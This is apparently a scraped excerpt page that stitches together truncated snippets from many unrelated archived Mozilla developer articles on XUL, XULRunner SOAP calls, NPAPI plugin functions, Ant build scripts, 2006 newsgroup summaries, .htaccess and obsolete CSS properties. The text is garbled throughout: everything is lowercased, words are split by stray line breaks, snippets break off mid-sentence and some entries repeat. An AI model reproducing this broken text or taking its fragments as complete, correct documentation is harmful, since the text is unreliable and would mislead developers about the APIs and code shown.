...arent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul", "", "
chrome=1, titlebar=0") attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persis...
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
wizardpage - Archive of obsolete content
the wizard always starts with the wizardpage that appears first in the wizard
child list.
...the wizard always starts with the wizardpage that appears first in the wizard
child list.
...ssname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related wizard ...
XUL - Archive of obsolete content
template guide a detailed guide on xul templates, whi
ch is a means of generating content from a datasource.
...they provide a powerful me
chanism for extending and customizing existing xul applications.
...there is a xulrunner application containing the xul periodic table whi
ch can be opened with gecko based browsers.
... mailing list newsgroup rss feed #xul on irc.mozilla.org tools xul online live editor (copy & paste snippets from here and run them) xul explorer (a lightweight xul ide) xulexplorer (pat
ched version of xul explorer) extension developer's extension (featuring a live xul editor) xulref sidebar firebug dom inspector spket ide, ide for xul/xbl ample sdk, (cross-browser xul renderer in javascript/html) view all...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
it requires servers to support wsdl whi
ch took it out of the running.
...pclient.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.append
child(new soapobject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy,...
... < datatype: "xml", < processdata: false, < data: content, < complete: getresponse, < contenttype: soapclient.contenttype + ";
charset=\"" + soapclient.
charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.mozbackgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystate
change = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-t...
...ype': soapclient.contenttype + ';
charset="' + > soapclient.
charset + '"', > 'content-length': soapclient.contentlength, > 'soapserver': soapclient.soapserver, > 'soapaction': soapreq.action > }; > for (var h in headers) { xhr.setrequestheader(h, headers[h]); } > xhr.send(content); ...
toolkit.singletonWindowType - Archive of obsolete content
preference type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.singletonwindowtype", "xulmine"); by default, the toolkit.default
chromeuri preference will cause xulrunner to open a new main application window ea
ch time an application is invoked.
... the toolkit.singletonwindowtype preference causes xulrunner to sear
ch for a window with the attribute windowtype as specified in this preference (e.g.
...if su
ch a window is found, it will be re-used, otherwise a new window will be opened.
...see also: xulrunner:specifying startup
chrome window, toolkit.default
chromefeatures ...
XUL Explorer - Archive of obsolete content
option to automatically update the preview as the editor
changes.
... simple xul
checker can be used to ‘validate’ the xul snippet.
... it
checks for legal element and attribute names, including allowed attributes for a given element.
... support attribute value
checking where appropriate (boolean and enumerated values) - xul
checker support “best practice”
checks su
ch as: using of commands and keys, strings in dtds and so on - xul
checker multi-tabbed editor support support wizards to generate common projects - extensions support extension testing using firefox extension test mode venkman support dom inspector support future: support more “best practice”
checks su
ch as: more a11y
checks, strings in dtds and so on - xul
checker allow users to add snippets on the fly add sidebars for more functionality - property sidebar and project sidebar support wizards to generate common projects - xul files, js xpcom, and xulrunner applications for more detailed information, see the xul_explorer:planning#feature_...
ant script to assemble an extension - Archive of obsolete content
o package an extension <?xml version="1.0"?> this build file was written by régis décamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="version" value="1.3-rc1"/> <property name="description" value="new context-menu item to add the current page in your blogmarks"/> xpi file is created after "
chrome/blogmark.jar" is created, whi
ch is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" description="assemble the final build blogmark.xpi"> <zip destfile="blogmark-${version}.xpi"> <zipfileset dir="." includes="
chrome/blogmark.jar" /> <zipfileset dir="." includes="insta...
...ll.rdf" /> </zip> </target> everything inside the
chrome directory is zipped into
chrome/blogmark.jar <target name="createjar" depends="templates" description="assemble the jar"> <jar destfile="
chrome/blogmark.jar"> <fileset dir="
chrome/"> <include name="**/*"/> <exclude name="**/*~"/> <exclude name="**/*.tpl.*"/> <exclude name="blogmark.jar"/> </fileset> </jar> </target> <target name="templates" description="generate files from templates."> <copy file="
chrome/content/blogmark/contents.rdf.tpl.xml" tofil...
...e="
chrome/content/blogmark/contents.rdf" overwrite="true"> <filter
chain> <replacetokens> <token key="version" value="${version}"/> <token key="description" value="${description}"/> </replacetokens> </filter
chain> </copy> <copy file="
chrome/content/blogmark/about.xul.tpl.xml" tofile="
chrome/content/blogmark/about.xul" overwrite="true"> <filter
chain> <replacetokens> <token key="version" value="${version}"/> ...
... </replacetokens> </filter
chain> </copy> <copy file="install.rdf.tpl.xml" tofile="install.rdf" overwrite="true"> <filter
chain> <replacetokens> <token key="version" value="${version}"/> <token key="description" value="${description}"/> </replacetokens> </filter
chain> </copy> </target> </project> ...
calICalendarViewController - Archive of obsolete content
implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in whi
ch the calicalendarview is included.
... last
changed in gecko ?
... modifyoccurrence void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, in calidatetime anewendtime); the modifyoccurrence method is used to
change the attributes of an already existing caliitem.
...just the time
changed), // then do so; otherwise pop up the dialog if (anewstarttime && anewendtime && !anewstarttime.isdate && !anewendtime.isdate) { var instance = aoccurrence.clone(); instance.startdate = anewstarttime; instance.enddate = anewendtime; instance.calendar.modifyitem(instance, aoccurrence, null); } else { modifyeve...
mozilla.dev.platform FAQ - Archive of obsolete content
then unpack the xul app into the mac structure with xulrunner -install-app q: can you build xulrunner with newer (>1.5) features, su
ch as storage?
..." a: make sure the app can find the framework or you can use the packages of the firefox release repackager whi
ch uses the embedded framework successfully.
... please make sure you're using 1.8.0.4 or later (not 1.8.0.1, whi
ch had a bug that prevented this from working properly).
...a: have the browser.
chromeurl preference - this should be a xul document containing a <browser type="content-primary"> element in whi
ch the popup window's content should get loaded.
Mozrunner - Archive of obsolete content
mozrunner is a python package whi
ch handles running of mozilla applications.
...command line usage the mozrunner command will laun
ch the application (specified by --app) from a binary specified with -b or as located on the path.
...api usage mozrunner features a base class, mozrunner.runner.runner whi
ch is an integration layer api for interfacing with mozilla applications.
... mozrunner also exposes two application specific classes, firefoxrunner and thunderbirdrunner whi
ch record the binary names necessary for the runner class to find them on the system.
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon e
cho 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon e
cho 20060921 nightly build will be offered the
chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... the distributor university students working on ca
che distribution project - looking for help for how to tap the http requests.
... can't view keith olbermann videos a user inability to laun
ch videos, worked fine for others, ended up being a flash version problem.
... authors sara min
chella (sara) dave manley (senemanley) back to summary list ...
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon e
cho 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon e
cho 20060921 nightly build will be offered the
chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... the distributor university students working on ca
che distribution project - looking for help for how to tap the http requests.
... can't view keith olbermann videos a user inability to laun
ch videos, worked fine for others, ended up being a flash version problem.
... authors sara min
chella (sara) dave manley (senemanley) back to summary list ...
2006-10-26 - Archive of obsolete content
gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of sear
ch engine cloaking mark describes the magic of sear
ch engine cloaker.
... rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor
change - the user is unfamiliar with how to use the command prompt.
... there should be a '
changes' faq a user suggests that a faq page be made for
changes, since the same two questions keep coming up.
... authors sara min
chella (sara) dave manley (senemanley) back to summary list ...
2006-10-27 - Archive of obsolete content
gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of sear
ch engine cloaking mark describes the magic of sear
ch engine cloaker.
... rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor
change - the user is unfamiliar with how to use the command prompt.
... there should be a '
changes' faq a user suggests that a faq page be made for
changes, since the same two questions keep coming up.
... authors sara min
chella (sara) dave manley (senemanley) back to summary list ...
2006-11-03 - Archive of obsolete content
picking an alternate sear
ch engine for a particular sear
ch large discussion about how the sear
ch engine could be imporved.
... firing pageshow/pagehide when users
change tabs discussion about using events that could be fired when the user
changes a tab.
... suggestion: a built-in firefox feature a user suggests a feature to compare different versions of a webpage to see what has
changed.
... authors sara min
chella (sara) dave manley (senemanley) back to summary list ...
2006-11-04 - Archive of obsolete content
an alternate sear
ch engine for a particular sear
ch large discussion about how the sear
ch engine could be imporved.
... pageshow/pagehide when users
change tabs discussion about using events that could be fired when the user
changes a tab.
... suggestion: a built-in firefox feature a user suggests a feature to compare different versions of a webpage to see what has
changed.
... authors sara min
chella (sara) dave manley (senemanley) back to summary list ...
2006-11-24 - Archive of obsolete content
however he has been unsuccessful and a bun
ch of errors.
... to view the joe's error please
check the posting.
..."component returned failure code: 0x80570016 (ns_error_xpc_gs_returned_failure) [nsijscid.getservice]" nsresult: "0x80570016 (ns_error_xpc_gs_returned_failure)" location: "js frame ::
chrome://modzilla/content/js/pkg_zillacom.js :: <top_level> :: line 1202" data: no] he is running xulrunner v1.8.0.4.
... announcements svg build dependency on cairo gfx on 11/22 november 21st: t rowley announced that: he will be landing his pat
ch that starts the process of swit
ching svg over to thebes (bug 354866).
2006-11-03 - Archive of obsolete content
announcments mozilla s
cheduled downtime - 11/2/2006, 7pm - 11pm pdt (0300 - 0700 utc) mozilla s
cheduled downtime - 11/2/2006, 7pm - 11pm pdt (0300 - 0700 utc) opening l10n repository on mozilla_1_8_bran
ch for approved
check-ins opening l10n repository on mozilla_1_8_bran
ch for approved
check-ins discussion from 50 to 100 locales a discussion on how to make l10n easier and increase the number of locals with whi
ch mozilla products ship.
... more tbox
changes on the way, most hitting on friday preed discusses killing more tboxes.
... cross-product extension install improvements simon paquet points out how mu
ch easier it is to install an extension in firefox than it in any other product.
... bon e
cho status meeting: october 31st, 2006: (possibly final meeting) get notes here weekly project status meeting monday oct 30 1pm *pst*: get notes here ...
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.platform - october 28th - november 3rd, 2006 announcements developer
chat with brendan ei
ch!
...
chat with the creator of javascript and mozilla cto brendan ei
ch this tuesday, november 7th at 10am pst (utc-8) traffic xepra wants to know how to open multiple tabs in a new window.
... alex vinten and neil help him out by figuring out exactly whi
ch environment he's running in.
...robert sayre notes that he and dave liebrei
ch have a nice, simple environment set up for browser-based js tests meetings no meetings this week ...
2006-09-29 - Archive of obsolete content
za
ch lipton is working to get us back in working order.
... discussions extension based testing - someone is in the process of writing a small extension that tests firefox's help in terms of table-of-contents and sear
ch looking for firefox triagers to evaluate a triage tool - a phd student is working on a way to assist triagers.
... he is looking for an approa
ch to recommend to whom a bug report should be assigned (i.e.
... whi
ch developer(s) has/have the correct expertise for a particular bug report).
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.security - september 30, 2006 to october 6, 2006 return to mozilla-dev-te
ch-xul announcements none during this week.
...as well as any protocols that you have implemented and are not in the list of protocols nsscriptsecuritymanager::
checkloaduri feed: consensus is that it should be allowed and treated as an ordinary link.
... problem looping c_opensession problem in thunderbird
christian bongiorno has run into a problem developing a pkcs11 module for a new card.
... thunderbird is continuously repeating 7 functions including c_opensession whi
ch accesses the card that he is developing.
External resources for plugin creation - Archive of obsolete content
feature highlights include thread safety
checks, unicode support (with std::wstring), activex support, built-in drawing model negotiation for mac, automatic type conversion (including javascript arrays and objects), advanced security features, and more.
...project: nixysa project home page description (from the home page): nixysa is a framework written in python to automatically generate glue code for npapi plugins (plugins for browsers su
ch as google
chrome or firefox), letting you easily expose c++ classes to javascript from a simple idl representation.
... it contains pretty mu
ch everything you're likely to need to create most applications, and is particularly good for creating highly-specialised uis and for handling graphics and sound.
...project: qtbrowserplugin project home page description (from the home page): the qtbrowserplugin solution makes it easy to write browser plugins that can be used in mozilla firefox, safari, opera, google
chrome, qtwebkit and any other web browser that supports the "netscape plugin api", npapi articles, information, and tutorials npapi has been around a very long time, and there have been many attempts to distill down useful information on creating them: colonelpanic.net building a firefox plugin - part one: discusses the difference between npapi and npruntime and summarizes the basic apis needed to create...
NPAPI plugin developer guide - Archive of obsolete content
important: plugins are now a legacy te
chnology.
...if there are plugin features whi
ch are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible.
... plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins
checking plug-ins by mime type overview of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed ele...
...ns specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how mu
ch data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files...
NPN_GetAuthenticationInfo - Archive of obsolete content
syntax #include <npapi.h> nperror npn_getauthenticationinfo(npp instance, const
char *protocol, const
char *host, int32_t port, const
char *s
cheme, const
char *realm,
char **username, uint32_t *ulen,
char **password, uint32_t *plen); parameters this function has the following parameters: instance pointer to the current plug-in insta...
...nce protocol protocol name (uri s
cheme) host host name port port number s
cheme http authentication s
cheme name realm http authentication realm username out parameter.
... description plugin whi
ch implement their own http networking stack (su
ch as the java plugin) may want to use the standard http auth prompts and password managed of the browser.
...unless the plugin has special networking needs, it is recommended to use the standard network apis, su
ch as npn_geturlnotify/npn_posturlnotify.
NPN_GetURLNotify - Archive of obsolete content
syntax #include <npapi.h> nperror npn_geturlnotify(npp instance, const
char* url, const
char* target, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance.
...can be of any type, su
ch as http, ftp, news, or mailto.
... notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify() call, whi
ch passes this value (see description below).
... npn_geturlnotify() typically handles the url request asyn
chronously.
NPN_GetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary provides information to a plugin whi
ch is associated with a given url, for example the cookies or preferred proxy.
... syntax #include <npapi.h> typedef enum { npnurlvcookie = 501, npnurlvproxy } npnurlvariable; nperror npn_getvalueforurl(npp instance, npnurlvariable variable, const
char *url,
char **value, uint32_t *len); parameters this function has the following parameters: instance pointer to the current plug-in instance.
... variable selects the type of information to be retrieved (npnurlvcookie or npnurlvproxy) url the url for whi
ch to fet
ch information.
... description this entry point is designed to allow plugins whi
ch implement their own http stacks to form requests to the web server in the same way the browser does.
NPN_PostURL - Archive of obsolete content
syntax #include <npapi.h> nperror npn_posturl(npp instance, const
char *url, const
char *target, uint32 len, const
char *buf, npbool file); parameters the function has the following parameters: instance pointer to the current plug-in instance.
... for http urls only, the browser resolves this method as the http server method post, whi
ch transmits data to the server.
...for protocols in whi
ch the headers must be distinguished from the body, su
ch as http, the buffer or file should contain the headers, followed by a blank line, then the body.
...npn_posturl is typically asyn
chronous: it returns immediately and only later handles the request.
NPN_SetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary allows a plugin to
change the stored information associated with a url, in particular its cookies.
... (while the api theoretically allows the preferred proxy for a given url to be
changed, doing so does not have mu
ch meaning given how proxies are configured, and is not supported.) syntax #include <npapi.h> typedef enum { npnurlvcookie = 501, npnurlvproxy } npnurlvariable; nperror npn_setvalueforurl(npp instance, npnurlvariable variable, const
char *url, const
char *value, uint32_t len); parameters this function has the following parameters: instance pointer to the current plug-in instance.
... variable selects the type of information to be
changed.
... url the url for whi
ch to
change information.
NPP - Archive of obsolete content
you specify one of these to any npapi function that needs to know whi
ch plug-in to work with.
... ndata a private value, owned by the browser, whi
ch is used to store data associated with the instance; this value should not be modified by the plug-in.
... description gecko creates an npp structure for ea
ch plug-in instance and passes a pointer to it to npp_new().
... this pointer--whi
ch is an opaque instance handle of a plug-in--identifies the instance on whi
ch api calls should operate.
NPP_WriteReady - Archive of obsolete content
description the browser calls npp_writeready before ea
ch call to npp_write to determine whether a plug-in can receive data and how many bytes it can receive.
... this function allows the browser to send only as mu
ch data to the instance as it can handle at one time, making resource use more efficient for both the browser and plug-in.
...because it is not processing streaming data, the browser can pass as mu
ch data to the instance as necessary in a single npp_write.
...the browser
checks to see if the plug-in can receive data again by resending the data at regular intervals.
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
historically, most people have
chosen to use an install.js script to install a plugin.
... when this method is used, you can
choose to either place the plugin into the plugins directory, or place it into your own directory and modify the windows registry to let firefox know where to find the plugin.
... the target application block says whi
ch versions of an application the plugin is compatible with.
...this should point to an update.rdf file on the internet whi
ch will include the updated versions and version information for the plugin.
Supporting private browsing in plugins - Archive of obsolete content
firefox 3.5 introduced private browsing, a mode in whi
ch potentially private information is not recorded in any way.
... it also introduced a me
chanism by whi
ch plugins can determine whether or not private browsing mode is in effect.
... for example, if private browsing mode is in effect, video player plugins should not record the urls of wat
ched videos in their histories.
... detecting private browsing mode plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to
check the current value of the npnvprivatemodebool variable.
Writing a plugin for Mac OS X - Archive of obsolete content
getting started if you
check out the mozilla source code in mac os x, you can simply open basicplugin.xcodeproj in xcode, click build, and you're done.
... info.plist the plugin communicates its mime and filename extension information using the info.plist file, whi
ch is packaged in the plugin bundle.
... some symbols must be visible as standard c symbols so the browser can find them, whi
ch means they need to be prefixed by an underscore, and must not have the c++ obfuscation that is generated by the c++ compiler.
... if you want to implement your plugin in c++ or objective-c++, you need to tell the compiler to export them in c format by using extern "c" in the header, like this: #pragma gcc visibility push(default) extern "c" { nperror np_initialize(npnetscapefuncs *browserfuncs); nperror np_getentrypoints(nppluginfuncs *pluginfuncs); void np_shutdown(void); } #pragma gcc visibility pop you can
check to be sure your symbols are visible and in standard c format by using the nm utility provided among the mac os x developer tools: [user@foo mymac] nm basicplugin ...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
an example using the most popular element of the rss slash module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <
channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>review of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>su...
...ts> </item> <item> <title>first article!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/112</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/112</link> <slash:comments>118</slash:comments> </item> </
channel> </rss> the <slash:comments> element is it reason that the rss slash module is popular.
...(using either of these 2 rss modules is out of the scope of this article.) in reality, an item's comments count could
change at any given time.
...one could assume that the comment count was acurate at the moment in time specified in the <
channel>'s <lastbuilddate> element, but that is a risky assumption given that no where is that mandated.
Proposal - Archive of obsolete content
those labeled with "draft exists" can be implemented, but be warned that they could radically
change.
...the transform must already exist on the ma
chine running newsgator; stylesheets will not be downloaded or installed automatically.
...draft exists source guid when an rss item is posted in response to a previous item (called the source item) rss 2.0 offers the source element whi
ch allows the item to refer to the rss feed whi
ch contains the source item.
... the sguid specification provides a more granular approa
ch by offering an sourceref element whi
ch can reference the guid permalink of the source.
.htaccess ( hypertext access ) - Archive of obsolete content
a file with the htaccess file extension is an access configuration file for apa
che server.
...t 301 / http://example.com/ # redirect the traffic to the directory to example.com , permanent redirect redirect 302 / http://example.com/ # redirect the traffic to the directory to example.com , temporary redirect blocking : htaccess also facilitates blocking traffic based on ip and ip range, also, use to block bad bots, rippers, and referrers; often used to restrict access by sear
ch engine spiders.
... deny from 146.0.74.205 # blocks all access from 146.0.74.205 to the directory ssi or server side include : include external files to ea
ch file requested by the user without the need to write include statements in the file; you can have them automatically atta
ched to all the files, whether at top or bottom, automatically through your .htaccess file.
... ca
che control : .htaccess allows a server to control ca
ching by web browsers, helps load pages faster, and reduces the data transfer.
Confidentiality, Integrity, and Availability - Archive of obsolete content
ea
ch objective addresses a different aspect of providing protection for information.
...su
ch a failure of confidentiality, commonly known as a brea
ch, typically cannot be remedied.
... so, in summary, a brea
ch of confidentiality means that someone gains access to information who shouldn't have access to it.
...now imagine that an attacker can shop on your web site and maliciously alter the prices of your products, so that they can buy anything for whatever price they
choose.
Creating a Skin for Firefox - Archive of obsolete content
a skin does not totally
change the interface; instead, it just defines how the interface looks.
... you can't
change what happens when the user right clicks on an image, but you can
change the look of the right click menu (make it blue with pink polka dots, for example).
... if you want to
change the functionality of firefox, you'll have to look into modifying the
chrome, whi
ch is beyond the scope of this document.
... contents getting started original document information author(s): neil marshall and tucker lee other contributors: brent marshall, cdn (http://themes.mozdev.org), jp martin, boris zbarsky, asa dotzler, wesayso, david james, dan mau
ch, anders conbere, tim regula (http://www.igraphics.nn.cx) copyright information: copyright 2002-2003 neil marshall, permission given to mdc to migrate into the wiki april 2005 via email.
References - Archive of obsolete content
<- previous section: summary of
changes you can learn more on using web standards from these sites (listed in no particular order): what are web standards and why should i use them?
...from web standards project web standards group from web standards group web page development: best practices from apple developer connection mozilla web author faq from henri sivonen making your web page compatible with mozilla from nicolás li
chtmaier complete css guide from westciv.com css lessons and tutorials from alsacreations html and css lessons and tutorials from htmldog.com preparing for standard-compliant browsers, part 1 from makiko itoh preparing for standard-compliant browsers, part 2 from makiko itoh javascript best practices lists 15 of the most frequent coding practices whi
ch create problems for javascript and dhtml-driven webpages.
...it is also available in fren
ch.
... <- previous section: summary of
changes ...
-ms-content-zoom-snap-points - Archive of obsolete content
snaplist( <percentage># ) specifies the position of individual snap-points as a comma-separated list of percentages, ea
ch of whi
ch represents a zoom factor.
...in the second selector, ea
ch snap-point is listed separately—100%, 200%, 300%, and so on.
...snap-points can
change the animation that runs when the user lifts his or her finger so that you can adjust where the content will stop.
... starting with windows 8.1, this property is also supported for tou
chpad interaction.
-ms-scroll-snap-points-x - Archive of obsolete content
snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, ea
ch of whi
ch represents a zoom factor.
...in the second selector, ea
ch snap-point is listed separately — 100%, 200%, 300%, and so on.
... (the -ms-scroll-snap-points-x property behaves identically to the -ms-scroll-snap-points-y property, but along the x-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-x: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-
chaining:
chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-x-min: 100%; -ms-scroll-limit-x-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
... starting with windows 8.1, this property is also supported for mouse, keyboard, and tou
chpad interaction.
-ms-scroll-snap-points-y - Archive of obsolete content
snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, ea
ch of whi
ch represents a zoom factor.
...in the second selector, ea
ch snap-point is listed separately — 100%, 200%, 300%, and so on.
... (the -ms-scroll-snap-points-y property behaves identically to the -ms-scroll-snap-points-x property, but along the y-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-y: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-
chaining:
chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-y-min: 100%; -ms-scroll-limit-y-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-y: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
... starting with windows 8.1, this property is also supported for mouse, keyboard, and tou
chpad interaction.
-ms-text-autospace - Archive of obsolete content
ideograph-alpha creates extra spacing between runs of ideographic and non-ideographic text, su
ch as latin-based, cyrillic, greek, arabic, or hebrew text.
... ideograph-numeric creates extra spacing between runs of ideographic text and numeric
characters.
... ideograph-space extends the width of the space
character when it is adjacent to ideographs.
... an ideograph is a
character in an asian writing system that represents a concept or an idea, but not a particular word or pronunciation.
:-moz-system-metric() - Archive of obsolete content
to xul /
chrome code).
... syntax values -moz-windows-compositormedia: media/visual accepts min/max prefixes: no:-moz-system-metric(images-in-menus)the :-moz-system-metric(images-in-menus) css pseudo-class mat
ches an element if the computer's user interface supports images in menus.:-moz-system-metric(mac-graphite-theme):-moz-system-metric(mac-graphite-theme) will mat
ch an element if the user has
chosen the "graphite" appearance in the "appearance" prefpane of the mac os x system preferences.:-moz-system-metric(scrollbar-end-backward)the :-moz-system-metric(scrollbar-end-backward) css pseudo-class will mat
ch an element if the computer's user interface includes a backward arrow button at the end of scrollbars.:-moz-system-metric(scrollbar-end-forward)the :-moz-system-metric(scrol...
...lbar-end-forward) css pseudo-class will mat
ch an element if the computer's user interface includes a forward arrow button at the end of scrollbars.:-moz-system-metric(scrollbar-start-backward)the :-moz-system-metric(scrollbar-start-backward) css pseudo-class will mat
ch an element if the computer's user interface includes a backward arrow button at the start of scrollbars.:-moz-system-metric(scrollbar-start-forward)the :-moz-system-metric(scrollbar-start-forward) css pseudo-class will mat
ch an element if the computer's user interface includes a forward arrow button at the start of scrollbars.:-moz-system-metric(scrollbar-thumb-proportional)the :-moz-system-metric(scrollbar-thumb-proportional) css pseudo-class will mat
ch an element if the computer's user interface uses proportional scrollbar t...
...humbs; that is, the draggable thumb on the scrollbar resizes to indicate the relative size of the visible area of the document.:-moz-system-metric(tou
ch-enabled)the :-moz-system-metric(tou
ch-enabled) css pseudo-class will mat
ch an element if the device on whi
ch the content is being rendered offers a supported tou
ch-screen interface.:-moz-system-metric(windows-default-theme)the :-moz-system-metric(windows-default-theme) css pseudo-class mat
ches an element if the user is currently using one of the following themes in windows: luna, royale, zune, or aero (i.e., vista basic, vista standard, or aero glass).
display-outside - Archive of obsolete content
other formatting contexts, su
ch as flex formatting contexts, may also work with block-level elements.
... layout-specific internal types these display types require their parent and
children to be of particular display types.
... for example, a table-row box requires its parent to be a table row group box and its
children to be table-cell boxes.
...for example, a table-caption box must have a table parent, but can establish any kind of formatting context for its
children.
